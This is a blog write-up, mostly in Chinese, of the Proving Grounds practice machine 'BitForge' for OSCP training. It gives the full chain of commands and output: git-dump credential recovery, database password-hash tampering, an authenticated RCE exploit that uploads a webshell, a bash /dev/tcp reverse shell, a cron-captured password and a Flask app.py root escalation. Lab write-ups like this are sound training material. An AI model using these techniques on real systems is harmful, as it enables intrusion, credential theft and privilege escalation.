OSCP-Proving Ground Practice-BitForge WriteUp

JoWhite 发布于 2025-08-27 107 次阅读


Nmap Result

Bash
sudo nmap -p- 10.10.84.87 -T4 -A --min-rate 2000 -Pn -vvv -n
PORT     STATE  SERVICE    REASON         VERSION
22/tcp   open   ssh        syn-ack ttl 61 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:5a:a9:66:65:3e:d0:b8:9d:a5:16:8c:e8:16:37:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGT2bbuknyDQCZL8wcewIxfJHCT3ZA9MHovHm5vV8gnY+WaklYD1KkExYX16RT7Du6kDkOd7/VtgT8wyumO7X74=
|   256 9b:2d:1d:f8:13:74:ce:96:82:4e:19:35:f9:7e:1b:68 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP9T+RtTpSheh2mjfbGIXvNadPVCLuheP1AqmUPx6yic
80/tcp   open   http       syn-ack ttl 61 Apache httpd
| http-git: 
|   192.168.109.186:80/.git/
|     Git repository found!
|     .git/config matched patterns 'user'
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: created .env to store the database configuration 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://bitforge.lab/
|_http-server-header: Apache
3306/tcp open   mysql      syn-ack ttl 61 MySQL 8.0.40-0ubuntu0.24.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.40-0ubuntu0.24.04.1
|   Thread ID: 15
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, SupportsTransactions, InteractiveClient, Speaks41ProtocolNew, LongColumnFlag, LongPassword, SupportsCompression, SwitchToSSLAfterHandshake, FoundRows, ConnectWithDatabase, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: f%]2H,C:\x1A\x15\x06}FqQ-Q
| 'j
|_  Auth Plugin Name: caching_sha2_password
|_ssl-date: TLS randomness does not represent time

Enumeration

nmap扫描结果显示80/HTTP端口域名为bitforge.lab. 在/etc/hosts中添加解析以访问网页。

Bash
sudo vim /etc/hosts
# 添加至最后一行
192.168.249.186 bitforge.lab

在http://bitforge.lab/login.php发现登录入口,尝试弱口令爆破如:admin@bitforge.lab:admin/password等 失败。Employee Planning Portal发现子域名plan, 加入到/etc/hosts中

另外,nmap网站在主目录下有.git文件夹,当网站目录中有.git文件夹时,可以使用gitdumper来提取.git目录下文件:

  • gitdumper: 一个从网站里提取github repo的工具
Bash
gitdumper提取github repo
./git_dumper.py http://bitforge.lab ~/bitforge/git

打开下载的git文件夹,使用git指令查看commit日志:

Bash
cd git
ls -al
total 32
drwxrwxr-x 3 kali kali 4096 Aug 27 16:30 .
drwxrwxr-x 3 kali kali 4096 Aug 27 16:30 ..
-rw-rw-r-- 1 kali kali    0 Aug 27 16:30 .env
drwxrwxr-x 7 kali kali 4096 Aug 27 16:30 .git
-rw-rw-r-- 1 kali kali 9110 Aug 27 16:30 index.php
-rw-rw-r-- 1 kali kali 5440 Aug 27 16:30 login.php
git log -p
...
+$dbName = 'bitforge_customer_db';
+$username = 'BitForgeAdmin';
+$password = 'B1tForG3S0ftw4r3S0lutions';
...

在commit日志中发现数据库登录认证信息 BitForgeAdmin:B1tForG3S0ftw4r3S0lutions

服务器开放3306/mysql端口,尝试以发现的认证信息登录:

Bash
mysql -h bitforge.lab -u BitForgeAdmin -pB1tForG3S0ftw4r3S0lutions
ERROR 2026 (HY000): TLS/SSL error: self-signed certificate in certificate chain

提示错误TLS/SSL error: self-signed certificate in certificate chain, 原因为mysql服务端用了自签名证书,mysql客户端检查后认为不受信,随后抛出error。可以加上--ssl=0来忽略ssl验证部分:

SQL
mysql -h bitforge.lab -u BitForgeAdmin -pB1tForG3S0ftw4r3S0lutions --ssl=0
MySQL [(none)]> show databases;
+----------------------+
| Database             |
+----------------------+
| bitforge_customer_db |
| information_schema   |
| performance_schema   |
| soplanning           |
+----------------------+
4 rows in set (0.130 sec)
MySQL [(none)]> use bitforge_customer_db
Database changed
MySQL [bitforge_customer_db]> show tables;
Empty set (0.107 sec)
MySQL [bitforge_customer_db]> use soplanning
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [soplanning]> show tables;
+----------------------------+
| Tables_in_soplanning       |
+----------------------------+
| planning_audit             |
| planning_config            |
| planning_ferie             |
| planning_groupe            |
| planning_lieu              |
| planning_periode           |
| planning_projet            |
| planning_projet_user_tarif |
| planning_ressource         |
| planning_right_on_user     |
| planning_status            |
| planning_user              |
| planning_user_groupe       |
+----------------------------+
13 rows in set (0.082 sec)
MySQL [soplanning]> select * from planning_user
    -> ;
+-----------+----------------+---------------+-------+------------------------------------------+-------+------------------+---------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------------+---------+-----------+--------+--------+-------------+--------------------+-------------+-------------+------------+---------------------+------------+----------+----------------------+
| user_id   | user_groupe_id | nom           | login | password                                 | email | visible_planning | couleur | droits                                                                                                                                                                                                                                          | cle                              | notifications | adresse | telephone | mobile | metier | commentaire | date_dernier_login | preferences | login_actif | google_2fa | date_creation       | date_modif | tutoriel | tarif_horaire_defaut |
+-----------+----------------+---------------+-------+------------------------------------------+-------+------------------+---------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+----------------------------------+---------------+---------+-----------+--------+--------+-------------+--------------------+-------------+-------------+------------+---------------------+------------+----------+----------------------+
| ADM       |           NULL | admin         | admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee | NULL  | non              | 000000  | ["users_manage_all", "projects_manage_all", "projectgroups_manage_all", "tasks_modify_all", "tasks_view_all_projects", "lieux_all", "ressources_all", "parameters_all", "stats_users", "stats_projects", "audit_restore", "stats_roi_projects"] | dbee8fd60fd4244695084bd84a996882 | oui           |
... 

在soplanning->planning_user表格下发现用户admin的密码哈希:

77ba9273d4bcfa9387ae8652377f4c189e5a47ee

使用hashid来查看hash类型:

Bash
echo '77ba9273d4bcfa9387ae8652377f4c189e5a47ee' | hashid       
Analyzing '77ba9273d4bcfa9387ae8652377f4c189e5a47ee'
[+] SHA-1 
[+] Double SHA-1 
[+] RIPEMD-160 
[+] Haval-160 
[+] Tiger-160 
[+] HAS-160 
[+] LinkedIn 
[+] Skein-256(160) 
[+] Skein-512(160)

可以正常解析出hashtype大概率为sha-1, 尝试用john和rockyou字典暴力破解:

Bash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
Loaded 1 password hash (Raw-SHA1 [SHA1 128/128 AVX 4x])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2025-08-27 16:55) 0g/s 16678Kp/s 16678Kc/s 16678KC/s *7¡Vamos!
Session completed.

破解失败。

Initial Foothold

当有数据库访问权限时,可以尝试是否有权限修改数据库记录。使用CyberChef来生成自定义密码“Password123”的SHA-1 hash: b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1

  • CyberChef: 一个很好用的可以在线处理加工字符的网站

尝试修改admin密码记录:

SQL
MySQL [soplanning]> UPDATE planning_user SET password='b2e98ad6f6eb8508dd6a14cfa704bad7f05f6fb1' WHERE user_id='ADM';
Query OK, 1 row affected (0.118 sec)
Rows matched: 1  Changed: 1  Warnings: 0

浏览器访问子域名plan.bitforge.lab, 发现是与数据库对应的app: Simple Online Plannning

尝试使用admin:Password123登录:

登录失败,猜测可能app用的不是SHA-1算法? 在github找到了soplanning的开源项目. 在/includes/class_user.inc 文件下发现密码hash的算法:

PHP
401	public function hashPassword($password){
402		return sha1("¤" . $password . "¤");
403	}

用户密码的hash是明文+特殊字符生成的, 尝试把class_user.inc文件下载下来, 本地调用hashPassword方法来生成hash. 为防止复制粘贴时特殊字符出错,我直接在原文件上做修改删除多余部分只留下hashPassword function. 文件内容:

  • 复制粘贴会使特殊字符粘贴错误 直接在原文件上做修改
PHP
<?php
        function hashPassword($password){
                return sha1("�" . $password . "�");
        }
        print(hashPassword('Password123'))
?>

运行文件后得到hash:

Bash
php class_user.inc
58222040a9316af9e4a28381bc173aabfdc41c54

在mysql里再次更新密码hash:

SQL
UPDATE planning_user SET password='58222040a9316af9e4a28381bc173aabfdc41c54' WHERE user_id='ADM';
Query OK, 1 row affected (0.057 sec)
Rows matched: 1  Changed: 1  Warnings: 0

以admin:Password123尝试登录并成功:

用searchsploit搜索相关漏洞:

Bash
searchsploit soplanning
...
SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution (RCE) (Authenticated)                                     | php/webapps/52082.py
...

发现52082.py与运行中的版本对应,copy下来, 并尝试运行:

Bash
searchsploit -m 52082
python3 52082.py -t http://plan.bitforge.lab/www -u admin -p Password123
[+] Uploaded ===> File 'czi.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www/upload/files/lat3bf/czi.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$ whoami
www-data
soplaning:~$

成功获得shell. 输入一些基础指令,发现shell不是TTY shell. 使用Penelope来获取TTY shell.

Bash
# kali: 监听80端口
penelope 80
# 靶机: 连接至kali
soplaning:~$ bash -c 'bash -i >& /dev/tcp/192.168.45.225/80 0>&1'
# kali: 获得TTY shell
penelope 80  
[+] Listening for reverse shells on 0.0.0.0:80 →  127.0.0.1 • 192.168.58.128 • 172.18.0.1 • 172.17.0.1 • 172.19.0.1 • 192.168.45.225
  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from BitForge-192.168.249.186-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /home/kali/.penelope/BitForge~192.168.249.186_Linux_x86_64/2025_08_27-20_13_25-453.log 📜
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/5dk2nb$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Penelope: 一个非常好用的reverse shell handler. 可以自动把reverse shell升级为TTY shell, 并可以轻松的上传/下载文件。

Privilege Escalation

在tmp目录下上传pspy,并运行:

Bash
(Penelope)─(Session [1])> upload http/pspy64
[+] Upload OK /tmp/pspy64-oioMgGGV
(Penelope)─(Session [1])> sessions 1
─────────────────────────────────────
www-data@BitForge:/tmp$ ./pspy64-oioMgGGV 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██     ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒      ██▒▒██▄█▓▒   ▐██▓░
    ▒██▒   ░▒██████▒▒▒██▒     ██▒▓░
    ▒▓▒░   ░▒ ▒▓▒  ░▒▓▒░     ██▒▒▒ 
    ░▒       ░▒   ░░▒      ▓██ ░▒░ 
    ░░             ░░         ░░  
                                    
                                     
....
2025/08/27 10:23:01 CMD: UID=0     PID=2749   | /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.log 2>&1

截取到root用户运行的指令,以及jack的密码j4cKF0rg3@445. 尝试su到用户jack.

Bash
www-data@BitForge:/tmp$ su jack
Password: 
jack@BitForge:/tmp$ id
uid=1001(jack) gid=1001(jack) groups=1001(jack)
# user flag 在jack home下

sudo -l发现jack可以执行root命令 /usr/bin/flask_password_changer:

Bash
sudo -l
Matching Defaults entries for jack on bitforge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset
User jack may run the following commands on bitforge:
    (root) NOPASSWD: /usr/bin/flask_password_changer

查看此文件内容:

Bash
jack@BitForge:/usr/bin$ cat /usr/bin/flask_password_changer
#!/bin/bash
cd /opt/password_change_app 
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debug

此binary首先cd到/opt/password_change_app路径,并执行flask run.

  • flask是一个linux的轻量级web框架,当执行flask run时, flask会先尝试在环境变量找FLASK_APP变量并运行对应的flask app. 若无环境变量设置,flask则会启动当前目录下的app.py应用。

让我们查看jack用户的环境变量:

Bash
SHELL=/bin/bash
MEMORY_PRESSURE_WRITE=c29tZSAyMDAwMDAgMjAwMDAwMAA=
PWD=/opt/password_change_app
LOGNAME=jack
XDG_SESSION_TYPE=tty
SYSTEMD_EXEC_PID=1261
HOME=/home/jack
APACHE_LOG_DIR=/var/log/apache2
LANG=en_US.UTF-8
MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/apache2.service/memory.pressure
INVOCATION_ID=ab372a628faf476a822878aa25993401
APACHE_PID_FILE=/var/run/apache2/apache2.pid
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=jack
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=4
XDG_SESSION_ID=c1
LC_CTYPE=C.UTF-8
XDG_RUNTIME_DIR=/run/user/1001
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=8:9775
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
MAIL=/var/mail/jack
OLDPWD=/
_=/usr/bin/env

并无FLASK_APP设置,则flask run会运行/opt/password_change_app/app.py

Bash
jack@BitForge:/$ cd /opt/password_change_app
jack@BitForge:/opt/password_change_app$ ls -al
total 16
drwxr-xr-x 3 jack jack 4096 Jan 16  2025 .
drwxr-xr-x 4 root root 4096 Jan 16  2025 ..
-rw-r--r-- 1 jack jack  134 Jan 16  2025 app.py
drwxr-xr-x 2 jack jack 4096 Jan 16  2025 templates

查看文件权限,用户jack可对文件修改,所以可以修改app.py为恶意程序来获取root权限.

Bash
jack@BitForge:/opt/password_change_app# cat app.py
import os
os.system("/bin/bash -p")
jack@BitForge:/opt/password_change_app$ sudo /usr/bin/flask_password_changer
root@BitForge:/opt/password_change_app# id
uid=0(root) gid=0(root) groups=0(root)

Happy Hacking!

此作者没有提供个人介绍。
最后更新于 2025-08-28